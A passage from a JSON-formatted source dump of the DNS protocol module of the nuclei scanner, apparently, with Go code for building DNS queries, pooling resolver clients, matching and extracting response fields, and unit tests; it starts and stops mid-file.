RequestPartDefinitions = map[string]string{\n\t\"template-id\":   \"ID of the template executed\",\n\t\"template-info\": \"Info Block of the template executed\",\n\t\"template-path\": \"Path of the template executed\",\n\t\"host\":          \"Host is the input to the template\",\n\t\"matched\":       \"Matched is the input which was matched upon\",\n\t\"request\":       \"Request contains the DNS request in text format\",\n\t\"type\":          \"Type is the type of request made\",\n\t\"rcode\":         \"Rcode field returned for the DNS request\",\n\t\"question\":      \"Question contains the DNS question field\",\n\t\"extra\":         \"Extra contains the DNS response extra field\",\n\t\"answer\":        \"Answer contains the DNS response answer field\",\n\t\"ns\":            \"NS contains the DNS response NS field\",\n\t\"raw,body,all\":  \"Raw contains the raw DNS response (default)\",\n\t\"trace\":         \"Trace contains trace data for DNS request if enabled\",\n}\n\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\n// GetID returns the unique ID of the request if any.\nfunc (request *Request) GetID() string {\n\treturn request.ID\n}\n\n// Options returns executer options for http request\nfunc (r *Request) Options() *protocols.ExecutorOptions {\n\treturn r.options\n}\n\n// Compile compiles the protocol request for further execution.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\tif request.Retries == 0 {\n\t\trequest.Retries = 3\n\t}\n\tif request.Recursion == nil {\n\t\trecursion := true\n\t\trequest.Recursion = &recursion\n\t}\n\t// Create a dns client for the class\n\tclient, err := request.getDnsClient(options, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get dns client\")\n\t}\n\trequest.dnsClient = client\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\trequest.class = classToInt(request.Class)\n\trequest.options = options\n\trequest.question = questionTypeToInt(request.RequestType.String())\n\tfor name, payload := range options.Options.Vars.AsMap() {\n\t\tpayloadStr, ok := payload.(string)\n\t\t// check if inputs contains the payload\n\t\tif ok && fileutil.FileExists(payloadStr) {\n\t\t\tif request.Payloads == nil {\n\t\t\t\trequest.Payloads = make(map[string]interface{})\n\t\t\t}\n\t\t\trequest.Payloads[name] = payloadStr\n\t\t}\n\t}\n\n\tif len(request.Payloads) > 0 {\n\t\trequest.generator, err = generators.New(request.Payloads, request.AttackType.Value, request.options.TemplatePath, request.options.Catalog, request.options.Options.AttackType, request.options.Options)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse payloads\")\n\t\t}\n\t\t// default to 20 threads for payload requests\n\t\trequest.Threads = options.GetThreadsForNPayloadRequests(request.Requests(), request.Threads)\n\t}\n\treturn nil\n}\n\nfunc (request *Request) getDnsClient(options *protocols.ExecutorOptions, metadata map[string]interface{}) (*retryabledns.Client, error) {\n\tdnsClientOptions := &dnsclientpool.Configuration{\n\t\tRetries: request.Retries,\n\t\tProxy:   options.Options.AliveSocksProxy,\n\t}\n\tif len(request.Resolvers) > 0 {\n\t\tif len(request.Resolvers) > 0 {\n\t\t\tfor _, resolver := range request.Resolvers {\n\t\t\t\tif expressions.ContainsUnresolvedVariables(resolver) != nil {\n\t\t\t\t\tvar err error\n\t\t\t\t\tresolver, err = expressions.Evaluate(resolver, metadata)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, errors.Wrap(err, \"could not resolve resolvers expressions\")\n\t\t\t\t\t}\n\t\t\t\t\tdnsClientOptions.Resolvers = append(dnsClientOptions.Resolvers, resolver)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdnsClientOptions.Resolvers = request.Resolvers\n\t}\n\treturn dnsclientpool.Get(options.Options, dnsClientOptions)\n}\n\n// Requests returns the total number of requests the YAML rule will perform\nfunc (request *Request) Requests() int {\n\tif request.generator != nil {\n\t\tpayloadRequests := request.generator.NewIterator().Total()\n\t\treturn payloadRequests\n\t}\n\n\treturn 1\n}\n\n// Make returns the request to be sent for the protocol\nfunc (request *Request) Make(host string, vars map[string]interface{}) (*dns.Msg, error) {\n\t// Build a request on the specified URL\n\treq := new(dns.Msg)\n\treq.Id = dns.Id()\n\treq.RecursionDesired = *request.Recursion\n\n\tvar q dns.Question\n\tfinal := replacer.Replace(request.Name, vars)\n\n\tq.Name = dns.Fqdn(final)\n\tq.Qclass = request.class\n\tq.Qtype = request.question\n\treq.Question = append(req.Question, q)\n\n\treq.SetEdns0(4096, false)\n\n\tswitch request.question {\n\tcase dns.TypeTXT:\n\t\treq.AuthenticatedData = true\n\t}\n\n\treturn req, nil\n}\n\n// questionTypeToInt converts DNS question type to internal representation\nfunc questionTypeToInt(questionType string) uint16 {\n\tquestionType = strings.TrimSpace(strings.ToUpper(questionType))\n\tquestion := dns.TypeA\n\n\tswitch questionType {\n\tcase \"A\":\n\t\tquestion = dns.TypeA\n\tcase \"NS\":\n\t\tquestion = dns.TypeNS\n\tcase \"CNAME\":\n\t\tquestion = dns.TypeCNAME\n\tcase \"SOA\":\n\t\tquestion = dns.TypeSOA\n\tcase \"PTR\":\n\t\tquestion = dns.TypePTR\n\tcase \"MX\":\n\t\tquestion = dns.TypeMX\n\tcase \"TXT\":\n\t\tquestion = dns.TypeTXT\n\tcase \"DS\":\n\t\tquestion = dns.TypeDS\n\tcase \"AAAA\":\n\t\tquestion = dns.TypeAAAA\n\tcase \"CAA\":\n\t\tquestion = dns.TypeCAA\n\tcase \"TLSA\":\n\t\tquestion = dns.TypeTLSA\n\tcase \"ANY\":\n\t\tquestion = dns.TypeANY\n\tcase \"SRV\":\n\t\tquestion = dns.TypeSRV\n\t}\n\treturn question\n}\n\n// classToInt converts a dns class name to its internal representation\nfunc classToInt(class string) uint16 {\n\tclass = strings.TrimSpace(strings.ToUpper(class))\n\tresult := dns.ClassINET\n\n\tswitch class {\n\tcase \"INET\":\n\t\tresult = dns.ClassINET\n\tcase \"CSNET\":\n\t\tresult = dns.ClassCSNET\n\tcase \"CHAOS\":\n\t\tresult = dns.ClassCHAOS\n\tcase \"HESIOD\":\n\t\tresult = dns.ClassHESIOD\n\tcase \"NONE\":\n\t\tresult = dns.ClassNONE\n\tcase \"ANY\":\n\t\tresult = dns.ClassANY\n\t}\n\treturn uint16(result)\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n"
  },
  {
    "path": "pkg/protocols/dns/dns_test.go",
    "content": "package dns\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestDNSCompileMake(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\trecursion := false\n\ttestutils.Init(options)\n\tconst templateID = \"testing-dns\"\n\trequest := &Request{\n\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\tClass:       \"INET\",\n\t\tRetries:     5,\n\t\tID:          templateID,\n\t\tRecursion:   &recursion,\n\t\tName:        \"{{FQDN}}\",\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile dns request\")\n\n\treq, err := request.Make(\"one.one.one.one\", map[string]interface{}{\"FQDN\": \"one.one.one.one\"})\n\trequire.Nil(t, err, \"could not make dns request\")\n\trequire.Equal(t, \"one.one.one.one.\", req.Question[0].Name, \"could not get correct dns question\")\n}\n\nfunc TestDNSRequests(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\trecursion := false\n\ttestutils.Init(options)\n\tconst templateID = \"testing-dns\"\n\n\tt.Run(\"dns-regular\", func(t *testing.T) {\n\n\t\trequest := &Request{\n\t\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\t\tClass:       \"INET\",\n\t\t\tRetries:     5,\n\t\t\tID:          templateID,\n\t\t\tRecursion:   &recursion,\n\t\t\tName:        \"{{FQDN}}\",\n\t\t}\n\t\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\t\tID:   templateID,\n\t\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t\t})\n\t\terr := request.Compile(executerOpts)\n\t\trequire.Nil(t, err, \"could not compile dns request\")\n\n\t\treqCount := request.Requests()\n\t\trequire.Equal(t, 1, reqCount, \"could not get correct dns request count\")\n\t})\n\n\t// test payload requests count is correct\n\tt.Run(\"dns-payload\", func(t *testing.T) {\n\n\t\trequest := &Request{\n\t\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\t\tClass:       \"INET\",\n\t\t\tRetries:     5,\n\t\t\tID:          templateID,\n\t\t\tRecursion:   &recursion,\n\t\t\tName:        \"{{subdomain}}.{{FQDN}}\",\n\t\t\tPayloads:    map[string]interface{}{\"subdomain\": []string{\"a\", \"b\", \"c\"}},\n\t\t}\n\t\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\t\tID:   templateID,\n\t\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t\t})\n\t\terr := request.Compile(executerOpts)\n\t\trequire.Nil(t, err, \"could not compile dns request\")\n\n\t\treqCount := request.Requests()\n\t\trequire.Equal(t, 3, reqCount, \"could not get correct dns request count\")\n\t})\n}\n"
  },
  {
    "path": "pkg/protocols/dns/dns_types.go",
    "content": "package dns\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// DNSRequestType is the type of the method specified\ntype DNSRequestType int\n\n// name:DNSRequestType\nconst (\n\t// name:A\n\tA DNSRequestType = iota + 1\n\t// name:NS\n\tNS\n\t// name:DS\n\tDS\n\t// name:CNAME\n\tCNAME\n\t// name:SOA\n\tSOA\n\t// name:PTR\n\tPTR\n\t// name:MX\n\tMX\n\t// name:TXT\n\tTXT\n\t// name:AAAA\n\tAAAA\n\t// name:CAA\n\tCAA\n\t// name:TLSA\n\tTLSA\n\t// name:ANY\n\tANY\n\t// name:SRV\n\tSRV\n\tlimit\n)\n\n// DNSRequestTypeMapping is a table for conversion of method from string.\nvar DNSRequestTypeMapping = map[DNSRequestType]string{\n\tA:     \"A\",\n\tNS:    \"NS\",\n\tDS:    \"DS\",\n\tCNAME: \"CNAME\",\n\tSOA:   \"SOA\",\n\tPTR:   \"PTR\",\n\tMX:    \"MX\",\n\tTXT:   \"TXT\",\n\tAAAA:  \"AAAA\",\n\tCAA:   \"CAA\",\n\tTLSA:  \"TLSA\",\n\tANY:   \"ANY\",\n\tSRV:   \"SRV\",\n}\n\n// GetSupportedDNSRequestTypes returns list of supported types\nfunc GetSupportedDNSRequestTypes() []DNSRequestType {\n\tvar result []DNSRequestType\n\tfor index := DNSRequestType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toDNSRequestTypes(valueToMap string) (DNSRequestType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range DNSRequestTypeMapping {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid DNS request type: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToUpper(value))\n}\n\nfunc (t DNSRequestType) String() string {\n\treturn DNSRequestTypeMapping[t]\n}\n\n// DNSRequestTypeHolder is used to hold internal type of the DNS type\ntype DNSRequestTypeHolder struct {\n\tDNSRequestType DNSRequestType `mapping:\"true\"`\n}\n\nfunc (holder DNSRequestTypeHolder) String() string {\n\treturn holder.DNSRequestType.String()\n}\n\nfunc (holder DNSRequestTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"type of DNS request to make\",\n\t\tDescription: \"Type is the type of DNS request to make\",\n\t}\n\tfor _, types := range GetSupportedDNSRequestTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *DNSRequestTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toDNSRequestTypes(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.DNSRequestType = computedType\n\treturn nil\n}\n\nfunc (holder *DNSRequestTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toDNSRequestTypes(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.DNSRequestType = computedType\n\treturn nil\n}\n\nfunc (holder *DNSRequestTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.DNSRequestType.String())\n}\n\nfunc (holder DNSRequestTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.DNSRequestType.String(), nil\n}\n"
  },
  {
    "path": "pkg/protocols/dns/dnsclientpool/clientpool.go",
    "content": "package dnsclientpool\n\nimport (\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/retryabledns\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\nvar (\n\tclientPool *mapsutil.SyncLockMap[string, *retryabledns.Client]\n\n\tnormalClient *retryabledns.Client\n\tm            sync.Mutex\n)\n\n// defaultResolvers contains the list of resolvers known to be trusted.\nvar defaultResolvers = []string{\n\t\"1.1.1.1:53\", // Cloudflare\n\t\"1.0.0.1:53\", // Cloudflare\n\t\"8.8.8.8:53\", // Google\n\t\"8.8.4.4:53\", // Google\n}\n\n// Init initializes the client pool implementation\nfunc Init(options *types.Options) error {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\t// Don't create clients if already created in the past.\n\tif normalClient != nil {\n\t\treturn nil\n\t}\n\tclientPool = mapsutil.NewSyncLockMap[string, *retryabledns.Client]()\n\n\tresolvers := defaultResolvers\n\tif len(options.InternalResolversList) > 0 {\n\t\tresolvers = options.InternalResolversList\n\t}\n\tvar err error\n\tnormalClient, err = retryabledns.New(resolvers, 1)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create dns client\")\n\t}\n\treturn nil\n}\n\nfunc getNormalClient() *retryabledns.Client {\n\tm.Lock()\n\tdefer m.Unlock()\n\treturn normalClient\n}\n\n// Configuration contains the custom configuration options for a client\ntype Configuration struct {\n\t// Retries contains the retries for the dns client\n\tRetries int\n\t// Resolvers contains the specific per request resolvers\n\tResolvers []string\n\t// Proxy contains the proxy to use for the dns client\n\tProxy string\n}\n\n// Hash returns the hash of the configuration to allow client pooling\nfunc (c *Configuration) Hash() string {\n\tbuilder := &strings.Builder{}\n\tbuilder.WriteString(\"r\")\n\tbuilder.WriteString(strconv.Itoa(c.Retries))\n\tbuilder.WriteString(\"l\")\n\tbuilder.WriteString(strings.Join(c.Resolvers, \"\"))\n\tbuilder.WriteString(\"p\")\n\tbuilder.WriteString(c.Proxy)\n\thash := builder.String()\n\treturn hash\n}\n\n// Get creates or gets a client for the protocol based on custom configuration\nfunc Get(options *types.Options, configuration *Configuration) (*retryabledns.Client, error) {\n\tif (configuration.Retries <= 1) && len(configuration.Resolvers) == 0 {\n\t\treturn getNormalClient(), nil\n\t}\n\thash := configuration.Hash()\n\tif client, ok := clientPool.Get(hash); ok {\n\t\treturn client, nil\n\t}\n\n\tresolvers := defaultResolvers\n\tif len(options.InternalResolversList) > 0 {\n\t\tresolvers = options.InternalResolversList\n\t} else if len(configuration.Resolvers) > 0 {\n\t\tresolvers = configuration.Resolvers\n\t}\n\tclient, err := retryabledns.NewWithOptions(retryabledns.Options{\n\t\tBaseResolvers: resolvers,\n\t\tMaxRetries:    configuration.Retries,\n\t\tProxy:         options.AliveSocksProxy,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create dns client\")\n\t}\n\t_ = clientPool.Set(hash, client)\n\n\treturn client, nil\n}\n"
  },
  {
    "path": "pkg/protocols/dns/operators.go",
    "content": "package dns\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/miekg/dns\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/retryabledns\"\n)\n\n// Match matches a generic data response against a given matcher\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\titem, ok := request.getMatchPart(matcher.Part, data)\n\tif !ok && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\treturn false, []string{}\n\t}\n\n\tswitch matcher.GetType() {\n\tcase matchers.StatusMatcher:\n\t\tstatusCode, ok := item.(int)\n\t\tif !ok {\n\t\t\treturn false, []string{}\n\t\t}\n\t\treturn matcher.Result(matcher.MatchStatusCode(statusCode)), []string{}\n\tcase matchers.SizeMatcher:\n\t\treturn matcher.Result(matcher.MatchSize(len(types.ToString(item)))), []string{}\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(types.ToString(item), data))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(types.ToString(item)))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(types.ToString(item)))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), []string{}\n\tcase matchers.XPathMatcher:\n\t\treturn matcher.Result(matcher.MatchXPath(types.ToString(item))), []string{}\n\t}\n\treturn false, []string{}\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, extractor *extractors.Extractor) map[string]struct{} {\n\titem, ok := request.getMatchPart(extractor.Part, data)\n\tif !ok && !extractors.SupportsMap(extractor) {\n\t\treturn nil\n\t}\n\n\tswitch extractor.GetType() {\n\tcase extractors.RegexExtractor:\n\t\treturn extractor.ExtractRegex(types.ToString(item))\n\tcase extractors.KValExtractor:\n\t\treturn extractor.ExtractKval(data)\n\tcase extractors.DSLExtractor:\n\t\treturn extractor.ExtractDSL(data)\n\t}\n\treturn nil\n}\n\nfunc (request *Request) getMatchPart(part string, data output.InternalEvent) (interface{}, bool) {\n\tswitch part {\n\tcase \"body\", \"all\", \"\":\n\t\tpart = \"raw\"\n\t}\n\n\titem, ok := data[part]\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\treturn item, true\n}\n\n// responseToDSLMap converts a DNS response to a map for use in DSL matching\nfunc (request *Request) responseToDSLMap(req, resp *dns.Msg, host, matched string, traceData *retryabledns.TraceData) output.InternalEvent {\n\tret := output.InternalEvent{\n\t\t\"host\":          host,\n\t\t\"matched\":       matched,\n\t\t\"request\":       req.String(),\n\t\t\"rcode\":         resp.Rcode,\n\t\t\"question\":      questionToString(resp.Question),\n\t\t\"extra\":         rrToString(resp.Extra),\n\t\t\"answer\":        rrToString(resp.Answer),\n\t\t\"ns\":            rrToString(resp.Ns),\n\t\t\"raw\":           resp.String(),\n\t\t\"template-id\":   request.options.TemplateID,\n\t\t\"template-info\": request.options.TemplateInfo,\n\t\t\"template-path\": request.options.TemplatePath,\n\t\t\"type\":          request.Type().String(),\n\t\t\"trace\":         traceToString(traceData, false),\n\t}\n\tif len(resp.Answer) > 0 {\n\t\tret = generators.MergeMaps(ret, recordsKeyValue(resp.Answer))\n\t}\n\treturn ret\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             types.ToString(wrapped.InternalEvent[\"host\"]),\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tMatcherStatus:    true,\n\t\tTimestamp:        time.Now(),\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"raw\"]),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n\nfunc rrToString(resourceRecords []dns.RR) string { // TODO rewrite with generics when available\n\tbuffer := &bytes.Buffer{}\n\tfor _, resourceRecord := range resourceRecords {\n\t\tbuffer.WriteString(resourceRecord.String())\n\t}\n\treturn buffer.String()\n}\n\nfunc questionToString(resourceRecords []dns.Question) string {\n\tbuffer := &bytes.Buffer{}\n\tfor _, resourceRecord := range resourceRecords {\n\t\tbuffer.WriteString(resourceRecord.String())\n\t}\n\treturn buffer.String()\n}\n\nfunc traceToString(traceData *retryabledns.TraceData, withSteps bool) string {\n\tbuffer := &bytes.Buffer{}\n\tif traceData != nil {\n\t\tfor i, dnsRecord := range traceData.DNSData {\n\t\t\tif withSteps {\n\t\t\t\tfmt.Fprintf(buffer, \"request %d to resolver %s:\\n\", i, strings.Join(dnsRecord.Resolver, \",\"))\n\t\t\t}\n\t\t\t_, _ = fmt.Fprintf(buffer, \"%s\\n\", dnsRecord.Raw)\n\t\t}\n\t}\n\treturn buffer.String()\n}\n\nfunc recordsKeyValue(resourceRecords []dns.RR) output.InternalEvent {\n\tvar oe = make(output.InternalEvent)\n\tfor _, resourceRecord := range resourceRecords {\n\t\tkey := strings.ToLower(dns.TypeToString[resourceRecord.Header().Rrtype])\n\t\tvalue := strings.TrimSuffix(strings.ReplaceAll(resourceRecord.String(), resourceRecord.Header().String(), \"\"), \".\")\n\n\t\t// if the key is already present, we need to convert the value to a slice\n\t\t// if the key has slice, then append the value to the slice\n\t\tif previous, ok := oe[key]; ok {\n\t\t\tswitch v := previous.(type) {\n\t\t\tcase string:\n\t\t\t\toe[key] = []string{v, value}\n\t\t\tcase []string:\n\t\t\t\toe[key] = append(v, value)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\toe[key] = value\n\t}\n\treturn oe\n}\n"
  },
  {
    "path": "pkg/protocols/dns/operators_test.go",
    "content": "package dns\n\nimport (\n\t\"net\"\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/miekg/dns\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestResponseToDSLMap(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\trecursion := false\n\ttestutils.Init(options)\n\ttemplateID := \"testing-dns\"\n\trequest := &Request{\n\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\tClass:       \"INET\",\n\t\tRetries:     5,\n\t\tID:          templateID,\n\t\tRecursion:   &recursion,\n\t\tName:        \"{{FQDN}}\",\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile dns request\")\n\n\treq := new(dns.Msg)\n\treq.Question = append(req.Question, dns.Question{Name: \"one.one.one.one.\", Qtype: dns.TypeA, Qclass: dns.ClassINET})\n\n\tresp := new(dns.Msg)\n\tresp.Rcode = dns.RcodeSuccess\n\tresp.Answer = append(resp.Answer, &dns.A{A: net.ParseIP(\"1.1.1.1\"), Hdr: dns.RR_Header{Name: \"one.one.one.one.\", Rrtype: dns.TypeA}}, &dns.A{A: net.ParseIP(\"2.2.2.2\"), Hdr: dns.RR_Header{Name: \"one.one.one.one.\", Rrtype: dns.TypeA}}, &dns.A{A: net.ParseIP(\"3.3.3.3\"), Hdr: dns.RR_Header{Name: \"one.one.one.one.\", Rrtype: dns.TypeA}})\n\n\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", nil)\n\trequire.Len(t, event, 15, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, dns.RcodeSuccess, event[\"rcode\"], \"could not get correct rcode\")\n\trequire.ElementsMatch(t, []string{net.ParseIP(\"1.1.1.1\").String(), net.ParseIP(\"2.2.2.2\").String(), net.ParseIP(\"3.3.3.3\").String()}, event[\"a\"], \"could not get correct a record\")\n}\n\nfunc TestDNSOperatorMatch(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\trecursion := false\n\ttestutils.Init(options)\n\ttemplateID := \"testing-dns\"\n\trequest := &Request{\n\t\tRequestType: DNSRequestTypeHolder{DNSRequestType: A},\n\t\tClass:       \"INET\",\n\t\tRetries:     5,\n\t\tID:          templateID,\n\t\tRecursion:   &recursion,\n\t\tName:        \"{{FQDN}}\",\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile dns request\")\n\n\treq := new(dns.Msg)\n\treq.Question = append(req.Question, dns.Question{Name: \"one.one.one.one.\", Qtype: dns.TypeA, Qclass: dns.ClassINET})\n\n\tresp := new(dns.Msg)\n\tresp.Rcode = dns.RcodeSuccess\n\tresp.Answer = append(resp.Answer, &dns.A{A: net.ParseIP(\"1.1.1.1\"), Hdr: dns.RR_Header{Name: \"one.one.one.one.\"}})\n\n\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", nil)\n\n\tt.Run(\"valid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"raw\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatch, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatch, \"could not match valid response\")\n\t\trequire.Equal(t, matcher.Words, matched)\n\t})\n\n\tt.Run(\"rcode\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:   \"rcode\",\n\t\t\tType:   matchers.MatcherTypeHolder{MatcherType: matchers.StatusMatcher},\n\t\t\tStatus: []int{dns.RcodeSuccess},\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile rcode matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid rcode response\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"negative\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:     \"raw\",\n\t\t\tType:     matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tNegative: true,\n\t\t\tWords:    []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile negative matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid negative response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"invalid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"raw\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"random\"},\n\t\t}\n\t\terr := 